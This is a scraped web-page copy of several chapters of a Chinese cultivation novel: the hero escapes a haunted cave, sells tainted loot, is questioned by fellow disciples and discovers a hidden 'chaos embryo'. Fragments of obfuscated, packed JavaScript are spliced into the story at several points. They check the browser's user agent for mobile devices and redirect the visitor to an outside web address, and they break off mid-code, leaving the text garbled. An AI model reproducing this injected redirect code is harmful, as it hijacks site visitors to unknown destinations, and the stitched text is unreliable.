RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189071|197041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、蕴含扭曲魔道意念和混沌灵力的能量,竟然真的干扰到了洞窟内某个早已残破不堪、维持着微弱平衡的上古禁制节点! “噼啪!” 一声轻微的、仿佛电路短路的声响。洞窟顶部几处发光的苔藓和结晶猛地明灭不定,投射下的幽蓝磷光疯狂乱晃。地面和墙壁上,一些早已暗淡的符文痕迹短暂地亮起杂乱的光芒,随即彻底熄灭。整个洞窟内的能量场瞬间陷入一种无序的紊乱! 那股锁定林家铭的恐怖魔意,被这突如其来的、源自同体系(魔道)却混乱不堪的干扰短暂地切断、迷惑了一瞬! 就是这一瞬! 林家铭如同抓住了救命稻草的溺水者,目光瞬间扫过洞窟各处。在能量紊乱、磷光乱闪的刹那,他眼角余光瞥见古尸身后、靠近水潭底部淤泥的地方,似乎有一处水流流向异常,淤泥被微微冲开一道缝隙! 暗河出口?!或者排水道?! 没时间思考了!他毫不犹豫,朝着那个方向猛扑过去!同时将储物袋里那柄锈死的青铜罗盘再次掏出,用尽全身力气,朝着古尸和法杖的方向砸去——不求伤敌,只求进一步干扰! 罗盘划过一道弧线。这一次,在洞窟能量场紊乱和林家铭新突破的、更精纯的混沌灵力加持下,罗盘表面那些歪斜的符文,竟同时亮起了三四点极其微弱的、不同颜色的光斑! 虽然一闪即逝,但一股更明显的、扭曲方向的混乱空间波动扩散开来! 古尸手中的法杖血光再次闪烁,似乎想要稳定周围空间,驱散干扰。 林家铭已经一头扎进了那处淤泥缝隙!冰冷的潭水再次淹没了他。缝隙狭窄,仅容一人通过,且充满淤泥和杂物。他拼命向前挤,同时惊喜地发现,新突破的混沌灵力对水中魔气的同化和抵抗能力大大增强,游动速度比之前快了不少,闭气时间也更长。 身后,隐约传来法杖血光击打在洞壁上的闷响和古尸仿佛更加愤怒的无声咆哮,但追兵似乎并未立刻进入水道——或许是不愿,或许是那狭窄水道限制了它,又或许是罗盘和禁制紊乱的干扰起了作用。 林家铭不敢回头,像一条真正的泥鳅,在黑暗、狭窄、充满未知的水道中拼命向前钻。不知过了多久,也许是一刻钟,也许是一个时辰,在混沌灵力再次快要耗尽、胸口憋闷欲炸时,前方终于出现了一丝微弱的天光,并且水流推力变大! 他精神一振,用尽最后力气向前冲去! “哗啦——!” 他从一处偏僻的、布满浮萍和腐烂水草的沼泽水洼中猛然探出头,大口大口地呼吸着潮湿但至少没那么魔气森森的沼泽空气。 夕阳如血,将半边沼泽染成暗红色。远处,雾鬼潭方向依然有隐约的灵力轰鸣和光芒闪烁,战斗似乎还未彻底平息,但激烈程度似乎有所下降。 他费力地爬上岸,瘫倒在湿漉漉的草地上,胸膛剧烈起伏,浑身沾满黑泥和绿色的水藻,狼狈得像刚从地狱爬出来的水鬼。 但那双眼睛,在夕阳余晖下,却亮得惊人。 炼气四层巅峰的灵力在疲惫的体内缓缓流转,修复着损伤,带来扎实的力量感。识海里那堆“精神污染”还在隐隐作痛,但也带来了某些诡异的“知识”。储物袋沉甸甸的,里面装着用命换来的“赃款”。 他摸了摸胸口,那块“黑水石”温润依旧,似乎比之前更显灵动。 又摸了摸怀里,几块冰凉的下品灵石硌着肉。 “活下来了……”他喃喃自语,嘴角慢慢咧开一个难看却真实的笑容,“还……发财了。” 虽然过程九死一生,虽然惹上了更诡异的麻烦(古尸、脑子里那些东西),但修为的飞跃和实实在在的资源,让他有了继续在这操蛋的修仙界蹦跶更久的本钱。 他躺在泥地里,望着逐渐暗淡下来的血色天空,听着远处隐约的厮杀声,开始飞速盘算: 雾鬼潭的战斗还没完,现在回去是自投罗网。需要找个安全地方恢复灵力,消化收获,研究“赃物”和脑子里那些乱七八糟的东西。萧炎、楚云他们怎么样了?青岚宗和离火宗、厚土宗这次损失如何?潭底那个古尸和巨兽到底是什么?自己偷东西(主要是那些废灵石)的事会不会被发现…… 一堆问题,但此刻,疲惫如潮水般涌来。 他挣扎着坐起,警惕地看了看四周,确认暂时安全后,踉跄着走向不远处一片看起来相对干燥、有巨石遮挡的灌木丛。 先恢复。然后……再说。 青岚宗的林家铭,在这次“考核”中,似乎交出了一份远远超出所有人预期的、且充满个人风格的“答卷”。只是不知道,这份答卷会带来奖赏,还是更大的风暴。 他缩进灌木丛的阴影里,握着一块下品灵石,缓缓闭上眼,混沌灵力开始周天运转。 沼泽的夜晚,危机四伏,但也隐藏着无数可能。 11. 销赃,试探,新麻烦 林家铭在沼泽边缘的灌木丛里窝了整整一天一夜。 他像一只受了伤又发了横财的野兽,警惕地蜷缩着,一边用新突破的炼气四层巅峰灵力滋养经脉、驱散体内残余的魔气侵蚀,一边缓慢地吸收着怀里所剩不多的下品灵石。 当最后一丝朝阳刺破沼泽上空终年不散的薄雾时,他睁开了眼。 灵力恢复了七成,外伤基本愈合,只有识海深处那堆强行塞进来的“符文污染”还在隐隐作痛,像脑子里嵌了几块碎玻璃,时不时晃一下,提醒他它们的存在。 他检查了一下自己的收获。 储物袋沉得坠手。里面塞满了: ·数百块被魔气污染的废灵石(消耗了约三分之一)。 ·几十块相对纯净的下品灵石,以及三块明显灵气更浓的中品灵石碎块。 ·一堆破烂:断裂的符文金属臂膀、刻着邪异阵纹的黑色石板、锈蚀短矛、暗紫色水晶瓶(里面液体让他本能觉得危险)、几块颜色古怪的矿石和药材。 ·自己的家当:板砖(镇界石)、破蒲扇、唢呐、快散架的二胡、各种毒粉暗器瓶瓶罐罐。 哦,还有怀里那块一直温润的“黑水石”。 “发财了。”林家铭低声重复了一遍昨天的感慨,但眼神里没什么狂喜,只有一种沉甸甸的踏实感。这些资源,足够他安稳修炼到炼气后期,甚至筑基都未必需要再为灵石发愁。 但麻烦也随之而来。 这些东西,尤其是那些废灵石和魔傀残骸,魔气森森,根本见不得光。拿回青岚宗,分分钟被当成私通魔道的奸细抓起来审问。必须处理掉,换成干净、能用的资源。 而且,雾鬼潭那边怎么样了?萧炎、楚云他们还活着吗?自己偷了“赃款”又惹了古尸的事,会不会已经被察觉? 他需要信息,需要渠道。 没有回宗门。他辨认了一下方向,朝着距离黑风沼泽最近的一处散修聚集地——“灰集”摸去。 灰集位于两座凡人城池和三不管地带的交界处,鱼龙混杂,消息灵通,也有很多见不得光的交易。林家铭以前做低级任务时听说过,但从未踏足。 他先找了个僻静处,从储物袋里翻出一件最不起眼的灰色旧袍子换上,用泥巴稍微改了改脸型,收敛起炼气四层的灵力波动,伪装成炼气二三层、风尘仆仆的落魄散修模样。那把显眼的唢呐和板砖都塞在袋子最底下。 半天后,他来到了灰集。 这里比他想象的还要……接地气。没有仙气缥缈的亭台楼阁,只有一片乱糟糟的窝棚、地摊和几间歪歪斜斜的土木房子。空气中弥漫着汗味、劣质丹药味、妖兽粪便味和一种焦躁不安的气息。修士们穿着各异,眼神大多警惕而精明,修为从炼气一二层到五六层不等,偶尔能感觉到一两个筑基期的隐晦气息在深处扫过。 林家铭低着头,混入人流。耳朵却竖了起来,捕捉着四周的议论。 “听说了吗?黑风沼泽那边出大事了!” “五宗弟子好像折了不少,连厚土宗那个石岳都重伤了!” “何止!离火宗和青岚宗据说联手才堪堪击退了潭里的怪物,但也没讨到好,死了好几个内门精锐!” “蚀铁魔傀啊……多少年没见那鬼东西了。难道真有上古魔宗遗迹现世?” “仙盟已经派人去查看了,封锁了那片区域,闲人勿近。” “啧,可惜了,本来还想趁乱去捞点……” “捞?你去送死吧!我表兄的连襟的师弟就是散修,陷在里面,连尸骨都没找到!” 信息很零碎,但大概脉络清楚了:战斗惨烈,五宗受损,仙盟介入,区域封锁。萧炎和楚云应该还活着,但具体情况不明。 至于有没有人发现“赃款”失窃或者古尸异动……没人提起。看来要么还没发现,要么发现了但秘而不宣。 林家铭心中稍定。他需要找一个能处理“脏货”的地方,还不能被坑得太狠。 他在集市里慢慢逛着,目光扫过那些收售材料、丹药、法器的摊位和店铺。大多门面光明,不是他的目标。直到他拐进一条更加阴暗潮湿的小巷,巷子尽头,有一间门口挂着个缺了角的、歪歪扭扭写着“杂”字木牌的破旧小屋。 屋子门口蹲着个瞎了一只眼的老头,正吧嗒吧嗒抽着旱烟,烟雾缭绕,看不清表情。老头身上没什么强横的灵力波动,但那股子混不吝和见惯了阴暗的气息,让林家铭觉得找对地方了。 他走过去,压低声音:“收东西吗?有些……不太方便见光的。” 独眼老头撩起眼皮,浑浊的独眼瞥了他一下,吐出一口浓烟:“看货。” 林家铭没进屋,就在门口阴影处,从储物袋里小心翼翼取出一小块废灵石,以及一截从魔傀残骸上拆下来的、最不起眼的暗沉金属片。 老头接过,独眼凑近看了看,又放在鼻子下闻了闻,手指在金属片上敲了敲,感受着那细微的震动和残留的阴冷死气。 “魔气浸染的废灵渣,蚀铁魔傀的边角料。”老头声音沙哑,一语道破来历,“小子,胆子不小,刚从雾鬼潭那边摸出来的?” 林家铭心里一凛,这老头眼力毒辣。他面不改色:“机缘巧合,捡了点漏。能收吗?什么价?” “收。这年头,啥玩意都有主顾。”老头又抽了口烟,“废灵渣,里面的灵气驳杂混乱,还有魔毒,提炼成本太高。十块换一块下品灵石。” 真黑。林家铭心里吐槽,但知道这价格在这种地方算“公道”了,毕竟正经店铺根本不会收。 “魔傀残片,材料特殊,带阴煞,炼器师喜欢,但风险大。这巴掌大一块,五块下品灵石。” “太低了。”林家铭摇头,“废灵渣十五换一,残片十块。” 老头独眼眯了眯,盯着他看了几秒,忽然笑了,露出满口黄牙:“小子,不是第一次干这种买卖吧?行,看你顺眼,废灵渣十二换一,残片八块。这是底价,爱卖不卖。” 林家铭知道这大概是极限了。他点点头:“我还有不少。另外,有没有……能洗掉或者中和上面气息的门路?或者,直接换我需要的材料。” 这才是他真正的目的。单纯卖灵石,太亏,也容易暴露数量。最好是直接以物易物,换成他能用的修炼资源或材料。 老头重新打量了他一遍,慢悠悠道:“洗掉?那代价比你这些东西还贵。中和……倒是有种‘净尘粉’,能暂时掩盖低阶魔气死气,时效一个月,五十下品灵石一瓶。至于换材料……你想换什么?” 林家铭早就想好了:“基础炼器材料,要常见的、量大便宜的,最好是金属性和土属性的边角料。另外,有没有关于‘古符文’或者‘神识运用’的入门玉简?越基础越好,越杂越好。”他需要处理脑子里的“污染”,需要拓宽知识面来理解那些强行塞进来的东西。 老头露出一丝意外:“炼器材料好说,古符文和神识玉简……这东西偏门,我这儿只有最垃圾的货色,几十年前收的,一直没人要,可能还有残缺。” “看看。” 老头起身,佝偻着背走进屋里。片刻后拿出一个破布包,里面是几块灰扑扑的玉简,还有几本纸质都快烂掉的旧书。又拎出两个麻袋,里面装着各种形状不规则、灵气稀薄但确实带着金土属性的矿石和金属碎块。 “玉简和书,打包,三十下品灵石。这两袋材料,算你八十下品灵石。总共一百一。你是用废灵渣和残片抵,还是?” “抵。”林家铭干脆道。他清点出相应数量的废灵石和魔傀残片(大约用了总量的五分之一),完成交易。又将那瓶昂贵的“净尘粉”小心收好。 交易完成,老头忽然压低声音道:“小子,看你还算懂规矩,提醒你一句。最近灰集不太平,仙盟的暗桩多了,好像在找什么东西,或者什么人。身上不干净的话,早点走。” 林家铭心中一动,面上不动声色:“多谢前辈提醒。”看来仙盟对雾鬼潭事件的重视程度,远超表面。 他背起新换来的两袋“垃圾”材料,揣着玉简旧书和净尘粉,迅速离开了灰集。 他没有走远,而是在灰集外数十里的一处荒山找了个废弃的猎人木屋,暂时落脚。 接下来的几天,他足不出户。 先用“净尘粉”小心翼翼地处理了剩下的废灵石和魔傀残骸,将它们表面的魔气死气暂时掩盖起来,虽然仔细探查还是能发现异常,但至少不那么扎眼了。 然后,他开始研究那几块垃圾玉简和旧书。果然如老头所说,内容粗浅残缺,大多是关于符文起源的臆测、几种早已失传的古文字对照表(错误百出)、以及最基础的神识内视、外放技巧。但对他来说,这恰恰是认知框架。他脑子里那堆“符文污染”是高级货但混乱邪恶,这些基础垃圾虽然低端,却像一本歪歪扭扭的字典,能让他勉强给那些混乱碎片“贴上标签”,明白它们大概属于哪个领域(侵蚀、控制、痛苦转化等),至于具体怎么用,依然一头雾水,但至少不再是完全抓瞎。 同时,他也在用新得来的金属性、土属性边角料,结合之前捡到的魔傀材料,尝试强化“晦芒”短刃和练习基础炼器手法(纯粹瞎搞)。混沌灵力包容万物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“生死之间,有所感悟,勉强突破。”林家铭含糊道,心里警惕更甚。楚云专门等在这里,绝不是为了寒暄。 “林师弟从何处归来?”楚云问得直接。 “从……一处散修集市。当日侥幸从潭边脱身,身受重伤,不敢逗留,寻了个偏僻地方疗伤,之后去集市换了点丹药。”林家铭半真半假地回答。 楚云沉默了片刻,忽然道:“雾鬼潭一战,离火宗萧炎失踪,厚土宗石岳重伤,我青岚宗亦有三位内门师弟殒命。魔傀凶悍,潭中邪物更是可怕。最后关头,似有异变从魔傀巢穴方向传来,引走了部分魔傀和那邪物注意,我们才得以撤退。” 他盯着林家铭的眼睛:“林师弟当时,身在何处?可知那异变是何缘故?” 来了。林家铭心中一紧。楚云果然怀疑到自己头上了。是因为自己消失的方向?还是自己修为突破太快引人联想? 他脸上露出茫然和后怕:“小弟当时被几头魔傀追杀,慌不择路,只知道拼命逃,后来掉进一处水洼昏迷过去,醒来已在沼泽边缘,实在不知什么异变。” 咬死不认。 楚云看了他良久,那双平静的眼眸仿佛能看透人心。但林家铭演技浑然天成,眼神里只有劫后余生的庆幸和一丝对同门死伤的黯然。 最终,楚云移开目光,淡淡道:“既如此,师弟平安归来便好。宗门正在统计此次伤亡,核查弟子行踪。师弟回去后,需向执事堂详细禀明经过。” “是,多谢师兄提醒。”林家铭恭敬道。 楚云点了点头,没再多说,转身,白衣身影很快消失在林间小道。 林家铭站在原地,看着楚云消失的方向,眉头缓缓皱起。 楚云专门在这里等他,问这些话,绝不仅仅是例行公事。他肯定察觉到了什么,或者得到了某些信息。是萧炎说了什么?还是仙盟调查有了线索? “麻烦……”他低声自语。楚云这种人,心思缜密,认定的事不会轻易放弃。被他盯上,以后在宗门内行事得更小心了。 不过,楚云没有当场发作,说明他也没有证据,更多是试探。 “得赶紧回去,把‘赃物’藏得更隐蔽些,然后……表现得正常点。”林家铭打定主意,不再耽搁,加快脚步向山门走去。 青岚宗山门在望,熟悉的云雾缭绕,仙鹤飞舞。 但林家铭知道,这次回来,看似平静的宗门之下,或许已经因为雾鬼潭之事,暗流开始涌动。而他这个“侥幸逃生、还修为大进”的外门弟子(虽然挂着内门名头),恐怕已经进入了一些人的视线。 新的麻烦,或许才刚刚开始。 他摸了摸怀里那块温润的“黑水石”,又感受了一下识海里那些沉静的“符文污染”。 “管他呢,”他嘴角勾起一丝习惯性的、有点混不吝的弧度,“兵来将挡,水来土掩。实在不行……就把水搅得更浑。” 他整理了一下衣袍,昂首挺胸(虽然衣服很旧),朝着山门守卫亮出了自己的身份玉牌。 揽月峰林家铭,活着回来了。 12. 秘库、试探与新“朋友” 青岚宗山门巍峨依旧,云雾缭绕间,林家铭却觉得气氛有些不同。巡逻的弟子眼神更加锐利,空气中弥漫着一股若有若无的肃杀和审视。雾鬼潭的损失,显然让整个宗门都绷紧了弦。 他先去执事堂交了任务——那三株腐骨灵花(仅剩的一株是从离火宗弟子尸体旁“捡”的,另两株是偷的),又汇报了自己“重伤昏迷、侥幸逃脱、养伤归来”的说辞。接待的执事弟子仔细记录,并未过多为难,只是叮嘱他近期不要离宗,可能会有长老问话。 回到揽月峰,一切如旧。歪脖子松树,破旧小院,师父依旧不见踪影,只有山风吹过空荡殿宇的回响。 林家铭反而松了口气。师父不在,他正好有时间处理“赃物”。 他没回自己房间,而是绕到小院后方,在崖壁一处不起眼的、长满藤蔓的裂缝前停下。这里是之前他试验“掌心雷”时偶然发现的,裂缝深处有个天然形成的、仅容一人蜷缩的小石穴,干燥隐蔽,连师父都未必知道。 他拨开藤蔓钻进去,将大部分“见不得光”的东西藏匿于此:用净尘粉反复处理过的废灵石和魔傀残片、那瓶危险的暗紫色液体、邪异的黑色石板、符文金属臂膀等等。只留下少量下品灵石、那几块中品灵石碎块、炼器材料、玉简旧书,以及自己的常用家伙(板砖、蒲扇、唢呐等)带回房间。 做完这一切,已是深夜。他回到自己冷清的小屋,点起萤石灯,开始研究新得的玉简。 内容确实粗浅残缺,但对他而言如同久旱甘霖。《符文初解(谬误版)》里对几种基础符文结构的臆测,竟然歪打正着地解释了他脑海中某个“侵蚀符文”碎片的起笔逻辑;《神识粗探》里提到“神识如触手,可感万物之微”,让他尝试着用微弱的神识去“触碰”识海里的污染碎片,虽然立刻引来针扎般的痛楚,却也让他对那些碎片的“轮廓”感知清晰了一点点。 “看来,得想办法搞点更靠谱的基础知识。”他揉了揉眉心。这些垃圾玉简不够用,宗门的藏书阁或许有,但需要贡献点,而且容易留下查阅记录。 正思索间,窗外传来极其轻微的“扑棱”声。 林家铭眼神一凝,瞬间吹灭萤石灯,身形隐入墙角阴影。 只见一道微弱的传讯符灵光,如同受惊的萤火虫,晃晃悠悠地从窗缝挤了进来,在他面前悬浮、燃烧。没有声音,只有一行灵力凝聚的小字浮现: “后山寒潭,丑时三刻。萧。” 萧?萧炎? 他还活着?而且竟然能绕过青岚宗护山大阵(或者用了别的法子)把传讯符送到这里? 林家铭心中惊疑不定。萧炎找他做什么?讨要腐骨灵花?追问雾鬼潭异变?还是……别的? 去,还是不去? 危险是肯定的。萧炎此人亦正亦邪,实力莫测,雾鬼潭并肩作战的情分有几分真难说。而且此时见面,若被人发现他与离火宗的人私下接触,麻烦更大。 但不去……萧炎既然能找到这里,恐怕也有办法让他“被”发现。而且,林家铭对萧炎为何能从雾鬼潭脱身,以及他对自己可能的了解程度,也存有强烈的好奇。 “妈的,债主上门了。”林家铭暗骂一句。犹豫片刻,最终还是决定赴约。是福不是祸,是祸……看谁更阴。 他换上深色衣物,将“晦芒”和几样阴人玩意儿贴身藏好,又将那块“黑水石”揣进怀里。板砖太大不好带,破蒲扇倒是卷起来塞进后腰。 丑时三刻,月黑风高。 后山寒潭比往日更加寂静,寒气凝成白雾在水面流淌。林家铭如同鬼魅般潜至潭边,收敛所有气息,隐藏在潭边一块巨石的阴影后,目光警惕地扫视四周。 “挺准时。”一个略带戏谑的声音从头顶传来。 林家铭心头一跳,抬头,只见萧炎不知何时已坐在巨石上方,依旧是那身暗红劲装,只是脸色有些苍白,气息也略有不稳,似乎也带了伤。他一条腿曲起,手肘搭在膝盖上,正低头看着他,嘴角挂着他熟悉的、玩世不恭的笑容。 “萧道友,别来无恙?”林家铭从阴影中走出,脸上也堆起笑容,“能活着从雾鬼潭出来,真是可喜可贺。” “彼此彼此。”萧炎从巨石上跃下,落地无声,“林师弟不仅活着出来,还……修为大进,更让人佩服。” 他果然看出来了。林家铭也不否认:“运气好,捡了点边角料,勉强突破。” “边角料?”萧炎似笑非笑,“能引动古魔禁制,导致魔傀失控、潭中那老怪物分心的‘边角料’,可不是一般的边角料。” 林家铭心中警铃大作,脸上却不动声色:“萧道友说什么?小弟听不懂。我当时只顾逃命,什么禁制怪物,一概不知。” “行了,这里没别人,不用装。”萧炎摆摆手,随意地在潭边一块石头上坐下,“我没兴趣追究你拿了什么,怎么拿的。那鬼地方的东西,谁拿到算谁本事。” 他顿了顿,看向林家铭,眼神里多了几分认真:“我找你来,是想问你,当时在魔傀巢穴附近,除了魔傀和那个大家伙,有没有感觉到……别的什么?比如,一种特殊的、冰冷的、像是有自己意识的……死气?” 林家铭心中一动。古尸!萧炎也感应到了?还是他进去过? “死气倒是到处都是,”林家铭斟酌着词句,“至于有意识的……没注意。萧道友为何问这个?” 萧炎盯着他的眼睛看了几秒,似乎想判断他是否说谎。半晌,他才移开目光,望向幽深的寒潭水面,语气有些沉凝:“我离火宗有一卷残损古籍记载,雾鬼潭在上古时期,并非魔宗据点,而是一处……封印之地。封印的东西,比魔傀、比潭底那蠢物,要可怕得多。这次异动,恐怕不止是遗迹现世那么简单。” 封印之地?林家铭想起那具手握法杖的古尸,那冰冷死寂却又仿佛蕴含莫大恐怖的魔意。 “萧道友的意思是,封印松动了?那东西……可能出来了?”他试探着问。 “未必完全出来,但肯定有东西泄露了。”萧炎转回头,目光锐利,“否则不会出现那种级别的蚀铁魔傀,还有……某些不该出现的气息。我怀疑,有人,或者有什么东西,在暗中推动,想彻底解开封印。” “谁这么大胆?不怕放出灭世灾劫?” “灭世?”萧炎嗤笑一声,“对某些疯子来说,世界越乱,他们越开心。或者……他们自信能控制那力量。” 他站起身,拍了拍衣角并不存在的灰尘:“告诉你这些,是提醒你,也顺便……结个善缘。你身上秘密不少,手段也够阴,我看你挺顺眼。以后说不定有合作的机会。” “萧道友抬举了。”林家铭拱手,“只是小弟修为低微,恐怕帮不上什么忙。” “修为低可以练,脑子不好使才真要命。”萧炎摆摆手,从怀里掏出一个小巧的赤红色玉牌,扔给林家铭,“这是我的私人联络符,注入灵力即可单向传讯给我。遇到解决不了的、又和魔道遗迹或者某些‘古物’有关的麻烦,可以找我。当然,收费。” 林家铭接住玉牌,入手温热,刻着火焰云纹。这萧炎,行事果然不拘一格。 “另外,”萧炎转身欲走,又停下,背对着他说,“小心你们宗门的楚云。那家伙看着正派,心思深得很。雾鬼潭的事,他似乎察觉到了什么,一直在暗中调查。还有仙盟的人,也盯上你们青岚宗了。好自为之。” 说完,他身形一晃,便融入了黑暗之中,消失不见,仿佛从未出现过。 林家铭握着那枚温热的玉牌,站在寒潭边,久久不语。 信息量有点大。封印之地?幕后黑手?楚云的调查?仙盟的关注? 好像自己随手摸个鱼,不小心捅了个越来越大的马蜂窝。 他将玉牌收起,准备离开。目光无意间扫过寒潭水面,忽然想起师父的交代——寒潭底还有“垃圾”没搬完。 他犹豫了一下,看看天色,距离天亮还有一段时间。既然来了…… 他再次潜入冰冷的寒潭。 这次修为提升,又有“黑水石”相助,下潜速度快了许多,承受能力也更强。他轻车熟路地找到之前遗留的几个皮袋,又在水底淤泥和石缝间仔细搜寻。 果然又找到一些零碎:几块颜色暗淡、但质地异常坚硬的不知名矿石;一个密封的、刻着避水符文的玉盒(打开后发现里面是几颗干瘪的、灵气近乎散尽的种子);还有半卷泡烂了、但材质特殊、字迹难以辨认的皮质卷轴。 就在他准备上浮时,“黑水石”忽然传来一阵比之前更清晰的、指向潭底某处岩壁的波动。 他游过去,发现那里有一道极其隐蔽的、被水草和淤泥覆盖的横向裂缝。扒开杂物,裂缝仅容一人侧身通过。里面幽深黑暗,不知通往何处。 去不去?林家铭看了看快亮的天色,一咬牙,侧身挤了进去。 裂缝初极窄,后稍宽,曲曲折折向斜下方延伸。游了约莫一炷香时间,前方豁然开朗,竟是一个位于山腹中的、完全干燥的密闭石室! 石室不大,只有丈许见方,空无一物。但四壁和穹顶,却刻满了密密麻麻的、与“镇界石”上纹路风格类似、但更加复杂玄奥的混沌色符文!这些符文仿佛在自行缓慢流转,散发出一种浩瀚、古老、包容万物的气息。 而在石室正中央的地面上,有一个浅浅的凹坑。凹坑里,静静地躺着一枚鸽卵大小、通体浑圆、颜色不断在灰、白、黑之间缓慢变幻的奇异珠子。 珠子没有任何灵力波动,却给人一种“它即是核心,万物环绕”的奇异感觉。 林家铭的心跳骤然加速。这地方,这珠子……绝对不一般!很可能是师父真正的秘密之一,甚至是修炼混沌之道的关键! 他小心地靠近,不敢贸然触碰。仔细观察,发现珠子下方的凹坑边缘,刻着一行极其细小的古篆: “混沌元胎,未成而遗。留待有缘,莫强求,莫外泄。” 混沌元胎?未成而遗?意思是这东西是未完成的“混沌胚胎”?师父留在这里的?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这天,他正在院子里,用新学的粗浅符文知识,尝试在“晦芒”短刃柄上刻一个微型的“坚固”和“锋锐”符文组合(效果聊胜于无),院门忽然被敲响了。 不是师父那种直接推门或传音的风格。 林家铭起身开门,门外站着两个人。 一个熟人——周圆。另一个,却是个陌生的少女。 少女看起来十五六岁年纪,穿着一身洗得发白的青色衣裙,料子普通,但很干净。头发用一根木簪简单挽着,露出一张清秀却没什么血色的脸。眼睛很大,黑白分明,眼神却有些怯生生的,像是受惊的小鹿。她手里提着一个粗糙的竹篮,里面装着一些刚采摘的、还带着露珠的普通灵蔬。 修为……很低,大概只有炼气一层,而且灵力波动微弱不稳。 “林、林师兄!”周圆看到他,连忙行礼,脸上带着笑,又有些不好意思,“没打扰您修炼吧?” “没事。”林家铭摆摆手,目光落在陌生少女身上。 “这位是……?”他问。 “哦哦,这位是白小茹,白师妹。”周圆连忙介绍,“她是百草峰的外门弟子,负责照料后山三号药园。今天给各峰送些新鲜的灵蔬……吴耗子病了,我正好有空,就帮她一起送揽月峰这边。白师妹,这位就是我跟你说过的,揽月峰的林师兄。” 白小茹低下头,声音细若蚊蚋:“见、见过林师兄。”提着篮子的手指因为用力而微微发白。 林家铭点点头,目光在她苍白的脸和微颤的手指上扫过,又看了看她篮子里那些品相普通、但打理得很干净的灵蔬。 “有劳白师妹了。”他语气温和,侧身让开,“进来坐坐?喝口水。” “不、不用了!”白小茹像受惊般后退一步,连忙从篮子里取出属于揽月峰份额的那一小捆灵蔬,双手捧着递过来,“这是峰上的份例……我、我该去下一处了。” 她递过灵蔬,手指不经意间擦过林家铭的手背。 冰冷。不似活人的冰冷。而且,在那瞬间,林家铭体内的混沌灵力,竟极其轻微地躁动了一下,仿佛感应到了什么。 林家铭心中一动,面上却不显,接过灵蔬,笑道:“那就不耽误师妹了。周圆,你陪白师妹去吧,小心些。” “诶!好嘞林师兄!”周圆应道。 白小茹匆匆行了一礼,便低着头,快步离开了。周圆对林家铭挤挤眼,连忙跟了上去。 林家铭站在院门口,看着两人远去的背影,尤其是白小茹那单薄得仿佛风一吹就倒的身影,眉头微微蹙起。 冰冷的手……引起混沌灵力感应的体质…… 百草峰,外门,照料药园……苍白,怯懦,灵力低微不稳。 有点意思。 他低头看了看手中那捆青翠欲滴的灵蔬,又抬头望了望百草峰的方向。 看来,这看似平静的青岚宗里,藏着秘密的,不止他一个。 新的“朋友”,或许就在不经意间,以这种看似最普通的方式,走进了他的视野。 只是不知道,这会是另一段麻烦的开始,还是……别的什么。 他将灵蔬拿回厨房放好,回到院子,继续刻他的符文。只是嘴角,不知不觉勾起一丝感兴趣的弧度。 这宗门,越来越好玩了。 13. 暗流与明枪 白小茹的出现和离去,像一粒小石子投入林家铭看似平静的修炼生活,漾开一圈微澜,但很快又恢复了表面的平静。 他依旧每日规律地“修炼”、看书、接点无关痛痒的宗门任务。炼气四层巅峰的修为被他用混沌灵力的特殊性和从垃圾玉简里学来的粗浅隐匿法门小心遮掩,对外只显露出炼气三层中后期的样子——一个在雾鬼潭侥幸逃生后有所突破、但天赋有限的普通内门弟子形象。 暗中窥探的神识时有时无,楚云没再露面,萧炎给的玉牌也安静地躺在储物袋角落。一切仿佛都回到了正轨。 但林家铭知道,这平静底下,暗流涌动。 几天后,一个消息在外门弟子中悄悄传开:百草峰负责照料后山三号药园的外门弟子白小茹,因“照料灵植不力,导致三株‘月凝草’枯萎”,被罚三个月月例灵石,并每日去悔过崖清扫石阶。 月凝草只是低阶灵草,虽有些价值,但绝不至于如此重罚。更何况,药园灵植枯萎原因很多,气候、虫害、地脉波动都有可能,全怪到一个灵力低微、只是负责日常浇灌除草的外门弟子头上,明显有些蹊跷。 林家铭听到周圆略带不平地说起这事时,正蹲在院子里,用新得的金属边角料尝试给“晦芒”短刃做个不起眼的皮质刀鞘。 他手上的动作没停,只是抬眼看了看义愤填膺的周圆:“罚得很重?” “重!”周圆点头,“白师妹本来就……没什么积蓄,三个月月例没了,还要去悔过崖那种地方扫地,听说那里阴气重,常有受罚弟子心神受损……” 林家铭“嗯”了一声,继续低头摆弄皮子和金属片。周圆见他反应平淡,有些讪讪,又说了几句,便告辞离开了。 院门关上,林家铭放下手里的东西,手指无意识地在粗糙的皮料上摩挲。 白小茹……冰冷的手,引起混沌灵力感应的体质,突然的重罚。 是巧合吗?还是她身上真有什么特别,被人盯上了?或者,这惩罚本身就是一种警告或试探——对白小茹,或者……对可能与她接触的人? 他想起了那天楚云在林中等他时的目光。也想起了萧炎关于“仙盟暗桩”的提醒。 “麻烦。”他低声自语,却没有太多意外。在这看似祥和的宗门里,阳光照不到的地方,多的是阴影和算计。他自己不也藏着满肚子的秘密和一堆见不得光的“赃物”么? 他决定暂时按兵不动。白小茹与他只是一面之缘,贸然插手,不仅可能帮不上忙,反而会将她和自己都置于更危险的境地。况且,他现在的首要任务是提升实力,消化收获,搞清楚自己身上的秘密。 接下来的日子,他更加深居简出。大部分时间都泡在那个隐秘的小石穴里。 废灵石在“混沌大杂烩修炼法”的疯狂吞噬下,以稳定的速度消耗着。他的修为朝着炼气五层稳步推进,混沌灵力越发凝实厚重,对属性的模拟转换也熟练了不少。虽然离精细操控还差得远,但至少能稳定维持单一属性(比如模拟金系的锋锐或火系的灼热)更长时间。 